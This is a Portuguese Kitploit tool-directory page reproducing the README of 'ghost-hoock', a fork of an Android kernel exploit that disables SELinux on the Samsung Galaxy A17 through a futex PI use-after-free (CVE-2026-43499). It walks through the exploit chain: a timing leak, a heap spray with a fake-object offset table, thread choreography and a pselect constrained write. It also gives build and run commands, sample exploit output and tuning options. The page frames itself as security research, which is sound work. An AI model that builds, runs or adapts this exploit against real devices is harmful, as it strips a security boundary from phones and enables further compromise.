Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ghost-hoock — GhostLock reduzido a uma única primitiva: SELinux desativado no Galaxy A17 (BZA5) via futex PI UAF (CVE-2026-43499). Sem root, sem patch de credenciais, sem rwforge. | Kitploit
Ferramentas/GitHubGitHub/genksome/ghost-hoock
Segurança AndroidEscalada de PrivilégiosForensia de MemóriaAnálise de VulnerabilidadesExploraçãoSegurança MóvelPapers e PesquisaDesenvolvimento de PayloadsExploração de Binários
GitHubgenksome/ghost-hoock

ghost-hoock

GhostLock reduzido a uma única primitiva: SELinux desativado no Galaxy A17 (BZA5) via futex PI UAF (CVE-2026-43499). Sem root, sem patch de credenciais, sem rwforge.

há 9h 3mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

ghost-hoock

Um fork minimal do GhostLock que mantém apenas uma primitiva: desligar o SELinux via CVE-2026-43499 (futex PI UAF).

ghost-hoock em execução no Samsung A17

kernel device cve license platform


Índice

  • O que é isto
  • Como funciona
  • O que foi mantido do original
  • O que foi removido
  • Compilação
  • Execução
  • Requisitos
  • Limitações e riscos
  • Estrutura do projeto
  • Licença
  • Créditos
  • Links

O que é isto

ghost-hoock é um fork reduzido do exploit GhostLock do Mobile Hacking Lab, reduzido a uma única primitiva:

Uma escrita restrita via futex PI UAF -> selinux_enforcing = 0.

Sem root, sem sobrescrita de cred, sem canal rwforge, sem UMH, sem configfs. Apenas o mínimo necessário para colocar o SELinux em modo permissivo no kernel vulnerável.

Exemplo de saída num Samsung Galaxy A17 (SM-A175F, BZA5):

root@kitploit:~

[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)

Depois:

root@kitploit:~
$ getenforce
Permissive

getenforce retorna Permissive


Como funciona

O exploit tem como alvo o CVE-2026-43499 — um use-after-free na cadeia rt_mutex do PI (Priority Inheritance) do futex do kernel Linux. A cadeia no ghost-hoock tem quatro passos:

1. Vazamento de mm_struct via KernelSnitch

Canal lateral de temporização contra a tabela hash de futex do kernel. Martelamos FUTEX_WAKE_PRIVATE num conjunto de futexes do espaço de utilizador, medimos deltas de rdtsc e correlacionamos colisões de buckets de hash. Isto recupera o endereço do nosso próprio mm_struct — a base da página de spray de que precisamos mais tarde.

Esta é a técnica KernelSnitch, retirada na íntegra do exploit original.

2. Heap spray

Alocamos uma grande página slab order-3 e depois dispomo-la com o layout de objetos falsos usado pela rota PI:

3. Rota PI

Três threads:

  • waiter — entra em FUTEX_WAIT_REQUEUE_PI sobre f_wait, com alvo em f_pi_target.
  • owner — detém FUTEX_LOCK_PI sobre f_pi_target e depois sobre f_pi_chain.
  • consumer — fica em spin a chamar sched_setattr(tid, SCHED_BATCH, nice=19) sobre o TID do waiter, o que despoleta rt_mutex_setprio() e força o kernel a percorrer a árvore PI falsa.

Uma quarta chamada a partir da thread principal — FUTEX_CMP_REQUEUE_PI(1, f_pi_target) — dá início ao requeue. Dentro do kernel, rb_erase() corre contra a nossa árvore falsa.

4. Escrita restrita via pselect

pselect() / select() copia o fd_set do utilizador para a stack do kernel e depois percorre-o. Arranjamos os bitmaps do fd_set de modo a que as palavras que o kernel trata como ponteiros de rb-tree caiam em fake_right e no seu pai — e o resultante rb_set_parent(child, parent) torna-se:

root@kitploit:~

*(uint64_t *)target = value | color

Para mode = 1 (Write 1), target = selinux_enforcing e value = base + 0x100, que se codifica como byte0 = 0, byte1 = 1. O kernel escreve 0 em selinux_enforcing[0] — o SELinux está agora permissivo.


O que foi mantido do original

Este é um fork de mobilehackinglab/ghostlock-a17 (MIT). O seguinte é retirado 1:1 do exploit upstream:

O código auxiliar (macros pr_*, SYSCHK, pin_to_core, set_limit, set_unbuffer) também é mantido tal como está no original.


O que foi removido

O GhostLock original obtém root completo no A17: instala um canal físico de R/W rwforge, faz patch de cred / real_cred, executa um helper UMH com credenciais de init, captura logs e mais. No ghost-hoock, tudo o que vem depois da primeira escrita restrita desapareceu.

O GhostLock original continua a ser mais completo e poderoso do que este fork. O ghost-hoock não é um substituto — é um PoC mínimo para uma tarefa estreita: desligar o SELinux.


Compilação

No dispositivo (clang, Termux ou adb shell)

Requer clang e make no $PATH. Testado no Termux; também funciona via adb shell se a toolchain estiver presente.

root@kitploit:~
git clone https://github.com/USERNAME/ghost-hoock
cd ghost-hoock
make

Saída: ./ghost-hoock (aarch64, PIE).

Via Android NDK (num PC)

root@kitploit:~
make NDK=/path/to/android-ndk-r26

ou manualmente:

root@kitploit:~
/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
    -O2 -Isrc -Isrc/kernelsnitch -Iinclude \
    -D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
    -fPIE -pie -pthread \
    src/main.c src/spray.c src/route.c -o ghost-hoock

Verificação de compilação cruzada

root@kitploit:~
file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...

Execução

root@kitploit:~
# copiar o binário para um local legível a partir do contexto de shell
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock

# confirmar que o SELinux está atualmente em enforcing
getenforce
# -> Enforcing

# executar
/data/local/tmp/ghost-hoock

# verificar
getenforce
# -> Permissive

Opções

root@kitploit:~
ghost-hoock [options]
  --attempts N   number of W1 attempts (default: 20)
  --no-drain     skip slab_drain before each W1 attempt
  -h, --help     show help

Variáveis de ambiente

· GHOSTLOCK_CORE — 0..N. Núcleo de CPU ao qual a thread consumer é fixada. Predefinição: 0. · KPHYS — 0x.... Endereço físico de carregamento do kernel, se diferir de P0_KERNEL_PHYS_LOAD. · PREPARE_SLABS — 4..64. Número de páginas slab preparadas durante o spray. Predefinição: 32. · PSELECT_SHIFT — -14..14. Deslocamento de palavra do fd_set. Apenas para depuração. · FOPS_MAX_ATTEMPTS — 4..72. Máximo de tentativas de prepare_kernel_page para o payload FOPS. · RWF_DEBUG — qualquer valor. Imprime linhas de depuração da construção do payload.


Requisitos

  • Dispositivo: Samsung Galaxy A17 SM-A175F (BZA5) — o alvo para o qual esta tabela de offsets foi extraída.
  • Kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k.
  • Contexto: tem de ser executado a partir do contexto SELinux shell (u:r:shell:s0), não a partir de uma app.
  • Permissões: nada de especial — não é necessário root. O objetivo é precisamente desativar o SELinux sem root.

Portabilidade: outros dispositivos/kernels precisam da sua própria tabela de offsets. Adicione uma nova OFFSETS_ENTRY(...) em include/offsets_bza5.h com offsets de símbolos extraídos de vmlinux/kallsyms para essa build, e depois recompile.


Limitações e riscos

  • São possíveis kernel panics. O fork herda o risco do original: um page_base errado ou uma escrita que aterre em memória não relacionada fará crashar o kernel. O fork tem menos superfície do que o original (sem rwforge, sem patch de cred, sem UMH), pelo que é estatisticamente mais seguro, mas não é 100% à prova de bala.
  • O KASLR está desligado no BZA5. O exploit depende de slide = 0. Não há vazamento de KASLR neste fork. Se o portar para um kernel com KASLR ativo, tem de trazer de volta o slide.c do original.
  • Apenas SELinux. O fork não dá root. Apenas escreve 0 em selinux_enforcing. Se precisar de root, use o ghostlock-a17 completo.
  • Escrita única. Apenas a Write 1 (selinux_enforcing = 0) é mantida. Não tente estendê-la para a Write 2 ou para o pipeline rwforge sem compreender profundamente a rota PI.
  • Requer que a escrita aterre em ~20 tentativas. Se a primeira tentativa W1 falhar, o ciclo repete. Num arranque recente com um sistema maioritariamente inativo, normalmente aterra à primeira tentativa.

Estrutura do projeto

root@kitploit:~

ghost-hoock/
├── include/
│   ├── ghost_hoock.h              # shared header, API
│   ├── offset.h                   # TARGET_CONFIG_H dispatcher
│   ├── offsets_bza5.h             # symbol offsets (BZA5 only)
│   ├── runtime_struct_offsets.h   # dynamic struct offsets (_RSO macros)
│   └── target.h                   # BZA5 addresses, payload layout
├── src/
│   ├── main.c                     # CLI, offset selection, W1 loop
│   ├── spray.c                    # KernelSnitch + heap spray + ashmem
│   ├── route.c                    # PI route + pselect constrained write
│   └── kernelsnitch/              # mm_struct leak (from upstream)
│       ├── kernelsnitch.h
│       ├── futex_hash.h
│       ├── timeutils.h
│       └── utils.h
├── docs/
│   └── img/
│       └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md


Licença

MIT — igual ao upstream ghostlock-a17. Ver LICENSE.

Este fork mantém o aviso de copyright original de mobilehackinglab (2026) e acrescenta por cima os autores do fork, conforme exigido pelos termos da MIT.

O projeto é publicado estritamente para investigação de segurança no seu próprio dispositivo. Executá-lo contra um dispositivo que não lhe pertence é ilegal na maioria das jurisdições.


Créditos

  • Mobile Hacking Lab — exploit original ghostlock-a17, sobre o qual este fork é construído.
  • IAIK KernelSnitch — técnica de vazamento de mm_struct.
  • Investigadores originais do CVE-2026-43499 — pela engenharia reversa do futex PI UAF.

Links

  • Exploit upstream: https://github.com/mobilehackinglab/ghostlock-a17
  • Este fork: https://github.com/genksome/ghost-hoock
  • CVE: CVE-2026-43499

Built for research. Tested on a single physical device. Use at your own risk.

Baixar ferramenta
OffsetObjetoFinalidade
0x0E80fake_lockrt_mutex falso
0x0F80fake_fopsTabela file_operations falsa
0x1180fake_w0rt_mutex_waiter falso usado como árvore alvo
0x1240fake_rightNó direito falso da rb-tree — é daqui que vem o valor da escrita
0x1260fake_leftNó esquerdo falso da rb-tree
0x1280fake_tasktask_struct falso

A página inteira é enviada através de um socket AF_UNIX como SKB_SEND_SIZE = 2 * ORDER3_SIZE de sendmsg, para que os dados do skb aterrem na nossa página vazada. Depois libertamo-la numa ordem controlada para que a nossa página acabe num slab parcial por-cpu que possamos recuperar.

ret = 6 (em vez do 9 por omissão) confirma que a escrita aterrou: o consumer atingiu o alvo durante o select(), acordando-o mais cedo.

ComponenteFicheiroNotas
KernelSnitchsrc/kernelsnitch/*Vazamento de mm_struct via temporização do hash de futex
Heap spraysrc/spray.cLayout de objetos falsos, prepare_skb_payload, prepare_kernel_page
Rota PI + pselectsrc/route.cprepare_pselect_fdsets, do_pselect_fake_lock_route, consumer_thread, waiter_thread, owner_thread
Offsets BZA5include/offsets_bza5.hTabela de símbolos extraída de 6.12.23-android16-5-abA175FXXS5BZD2-4k
Cabeçalho de alvo BZA5include/target.hLayout de endereços, offsets de payload (apenas subconjunto W1)
Offsets de structs em runtimeinclude/runtime_struct_offsets.hMacros _RSO() para campos de task_struct
Ficheiro removidoPorque existia no original
rwforge_a17.cCanal físico de R/W marching-forger via pipe_buffers
pipe_physrw.c, pipe_reclaim.cRecuperação de pipe-buffer -> leitura/escrita arbitrária no kernel
root.cSobrescrita de cred / real_cred, instalação de su, patch de SID do SELinux
umh_root.c, wq_umh_root() (em main.c)Executar um helper com credenciais de init a partir de um item de workqueue do kernel forjado
slide.cVazamento de KASLR via oráculo boot_id — não é necessário no BZA5, o KASLR está desligado
miniadb.cBootstrap via ADB TCP
try_cfi_stage() (em fops.c)Estágio configfs compatível com CFI usado para iniciar o caminho de root
run_rwforge(), run_bootid_oracle(), rwforge_root_and_capture()Todo o pipeline de root
install_embedded_su(), install_embedded_wallpaper()Helpers de instalação de root
Write 2 (cred), patch_cred_*, patch_task_seccompTomada de credenciais pós-W1